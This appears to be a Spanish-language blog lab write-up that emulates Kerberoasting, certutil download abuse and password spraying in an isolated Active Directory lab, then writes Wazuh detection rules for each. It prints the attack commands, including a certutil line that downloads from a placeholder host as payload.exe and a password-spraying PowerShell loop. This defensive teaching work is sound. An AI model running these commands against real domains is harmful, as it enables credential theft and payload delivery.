deviltrigger@home:~$

Lab de Detección en Active Directory

Con este laboratorio basico de Active Directory se intenta recrear ciberataques comunes y detectarlos con el agente de Wazuh.

1. Arquitectura y Entorno de Pruebas

El entorno opera sobre una red aislada en VirtualBox (192.168.56.0/24):

  • DC01 (192.168.56.10): Windows Server 2022 (Domain Controller deviltrigger.local, 2 GB RAM).
  • CLIENTE01 (192.168.56.20): Windows 11 Enterprise unido al dominio con Sysmon y agente Wazuh (2.5 GB RAM).
  • Wazuh Server (192.168.56.8): Ubuntu Server 24.04 con Wazuh 4.9 (4.5 GB RAM, OpenSearch Heap limitado a 2 GB).

2. Caso 1: Kerberoasting (MITRE ATT&CK T1558.003)

Concepto y Vector de Ataque

Kerberoasting explota el diseño del protocolo Kerberos: cualquier usuario autenticado en el dominio puede solicitar un ticket de servicio (TGS) para cualquier cuenta que tenga registrado un Service Principal Name (SPN). La porción del ticket cifrada con el hash NTLM de la cuenta de servicio puede extraerse de memoria y crackearse offline.

Para maximizar la probabilidad de éxito en el crackeo, los atacantes suelen forzar una degradación del cifrado solicitando tickets en RC4-HMAC (0x17) en lugar de AES-256.

Emulación Ofensiva

Desde CLIENTE01, bajo la sesión del usuario del dominio, se purgó la caché Kerberos y se solicitó un ticket para la cuenta de servicio svc_sql mediante la clase de .NET KerberosRequestorSecurityToken:

klist purge
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc01.deviltrigger.local:1433"
klist

01_kerberoast_powershell_klist

Al inspeccionar los vales en memoria con klist, se verifica que el ticket devuelto utiliza cifrado débil RSADSI RC4-HMAC(NT):

Telemetría Forense (Event ID 4769)

La solicitud TGS impacta directamente en el Domain Controller (DC01), registrándose en el canal Security bajo el Event ID 4769 (A Kerberos service ticket was requested).

Al examinar el log crudo en Wazuh Discover se extraen los campos clave para discriminar actividad maliciosa:

  • win.system.eventID: 4769
  • win.eventdata.serviceName: svc_sql (cuenta de servicio de usuario, no cuenta de máquina terminada en $).
  • win.eventdata.ticketEncryptionType: 0x17 (indicador directo de cifrado RC4).
  • win.eventdata.ipAddress: ::ffff:192.168.56.20 (IP de origen del cliente).

02_wazuh_raw_event_4769

Implementación de la Detección en Wazuh

En /var/ossec/etc/rules/local_rules.xml se implementó la regla 100100 con severidad 10:

<group name="windows, active_directory, kerberos,">
  <rule id="100100" level="10">
    <if_group>windows</if_group>
    <field name="win.system.eventID">^4769$</field>
    <field name="win.eventdata.ticketEncryptionType">^0x17$</field>
    <description>Posible Kerberoasting: Solicitud TGS con cifrado debil (RC4) para $(win.eventdata.serviceName) desde $(win.eventdata.ipAddress)</description>
    <mitre>
      <id>T1558.003</id>
    </mitre>
  </rule>
</group>

Verificación en Threat Hunting

Tras compilar con wazuh-analysisd -t y reiniciar el manager, la reejecución del ataque activó la alerta en el SIEM, mostrando la correlación con la técnica T1558.003 sobre el agente DC01:

04_threat_hunting_alert_mitre1

04_threat_hunting_alert_mitre2

3. Caso 2: LOLBins - Ingress Tool Transfer con Certutil (MITRE ATT&CK T1105 / T1218)

Concepto y Vector de Ataque

Los Living-off-the-Land Binaries (LOLBins) son ejecutables legítimos y firmados por Microsoft que los atacantes reutilizan para tareas maliciosas evadiendo listas blancas de ejecución. certutil.exe, diseñado originalmente para gestionar certificados y revocaciones, cuenta con parámetros que permiten descargar archivos arbitrarios desde URLs externas.

Emulación Ofensiva

En CLIENTE01, tras aislar las firmas de Windows Defender para permitir la recolección de telemetría de comportamiento, se ejecutó la descarga remota simulada:

certutil.exe -urlcache -split -f http://example.com/favicon.ico C:\Users\Public\payload.exe

Aunque la URL devuelva un código HTTP 404, el proceso y la intención adversaria quedan materializados en el sistema operativo.

Telemetría de Proceso en Sysmon (Event ID 1)

Sysmon registra la creación del proceso bajo el canal operacional con el Event ID 1 (Process Create), proporcionando campos contextuales deterministas:

  • data.win.eventdata.image: C:\Windows\System32\certutil.exe
  • data.win.eventdata.commandLine: Parámetros completos (-urlcache -split -f http://...)
  • data.win.eventdata.parentCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  • data.win.eventdata.hashes: Hashes SHA256/MD5 del binario para validación de integridad.

lolbins ataque

lolbins ataque 2

Implementación de la Detección en Wazuh

Se creó la regla 100101 (Nivel 12) inspeccionando los argumentos del proceso dentro del grupo base de eventos de Windows:

<group name="windows,sysmon,lolbins,">
  <rule id="100101" level="12">
    <if_group>windows</if_group>
    <field name="win.system.eventID">^1$</field>
    <field name="win.eventdata.commandLine">urlcache</field>
    <description>Uso sospechoso de LOLBin Certutil para descarga remota por $(win.eventdata.user)</description>
    <mitre>
      <id>T1105</id>
      <id>T1218</id>
    </mitre>
  </rule>
</group>

Verificación en Threat Hunting

La ejecución disparó la alerta correlacionada en tiempo real bajo el agente CLIENTE01, asociando las técnicas T1105 (Ingress Tool Transfer) y T1218 (System Binary Proxy Execution):

threat hunting lolbins

4. Caso 3: Password Spraying (MITRE ATT&CK T1110.003)

Concepto y Vector de Ataque

A diferencia de los ataques de fuerza bruta vertical (múltiples contraseñas contra un único usuario, lo que dispara los bloqueos de cuenta por directiva), el Password Spraying es un barrido horizontal: el atacante prueba una única contraseña común contra un catálogo amplio de usuarios válidos del dominio.

El desafío defensivo radica en que un evento individual de fallo de inicio de sesión es indistinguible de un error humano legítimo. La detección exige correlación por agregación y umbral temporal.

Emulación Ofensiva

En CLIENTE01 se ejecutó un script en PowerShell que consulta al controlador de dominio mediante System.DirectoryServices.AccountManagement, probando una contraseña incorrecta contra múltiples usuarios (j.serrano, r.ruiz, j.medina, i.shuang, d.galaz):

$usuarios = @("j.serrano", "r.ruiz", "j.medina", "i.shuang", "d.galaz")
$passFalsa = "locurotedecontraseña!"
$dominio = "deviltrigger.local"

Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$contexto = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Domain, $dominio)

foreach ($u in $usuarios) {
    Write-Host "[>] Probando credenciales contra '$u'..." -NoNewline
    $valido = $contexto.ValidateCredentials($u, $passFalsa)
    Write-Host " [FALLO - Esperado]" -ForegroundColor Red
    Start-Sleep -Milliseconds 400
}

fuerzabrutaps1

Telemetría Forense en DC01 (Event ID 4625)

Cada intento genera en DC01 un evento de fallo de logon:

  • win.system.eventID: 4625 (An account failed to log on)
  • win.eventdata.subStatus: 0xc000006a (Bad user name or password)
  • win.eventdata.ipAddress: 192.168.56.20 (IP de CLIENTE01)
  • win.eventdata.targetUserName: Distintos identificadores para cada intento.

logcrudo fuerza bruta

Detección Agregada en Wazuh

Dado que la regla base de fallo de inicio de sesión de Windows (60122) opera a nivel 0 (sin alertar por eventos aislados), se diseñó la regla hija 100102 con agregación por umbral (frequency="4" en timeframe="180" segundos) vinculando el origen mediante same_field:

<group name="windows,active_directory,credential_access,">
  <rule id="100102" level="11" frequency="4" timeframe="180">
    <if_matched_sid>60122</if_matched_sid>
    <same_field>win.eventdata.ipAddress</same_field>
    <description>Posible Password Spraying: Multiples fallos de autenticacion en ventana temporal desde $(win.eventdata.ipAddress)</description>
    <mitre>
      <id>T1110.003</id>
      <id>T1110</id>
    </mitre>
  </rule>
</group>

Verificación en Threat Hunting

La ráfaga de intentos fallidos activó la regla de correlación agregada en Wazuh Dashboard, generando una alerta de Nivel 11 mapeada a T1110.003:

threat hunting pass

Threat Hunting de todos los ataques

todos los ataques en threat hunting

5. Resumen de Detecciones y Próximos Pasos

Con la finalización de esta fase, el laboratorio cuenta con una línea base activa de detección para vectores de credenciales y ejecución de binarios:

Técnica MITRE Vector Fuente de Telemetría Regla SIEM Nivel
T1558.003 Kerberoasting (RC4 Degradation) DC01 (Security 4769) 100100 10
T1105 / T1218 Abuso de LOLBin (certutil -urlcache) CLIENTE01 (Sysmon 1) 100101 12
T1110.003 Password Spraying (Agregación temporal) DC01 (Security 4625) 100102 11

El siguiente bloque del laboratorio abordará la fase de Post-Explotación, cubriendo movimiento lateral mediante PsExec y WMI, y técnicas avanzadas de volcado de memoria sobre el proceso lsass.exe (Mimikatz / Sysmon Event ID 10).

Nos vemos en la próxima publicación!

ken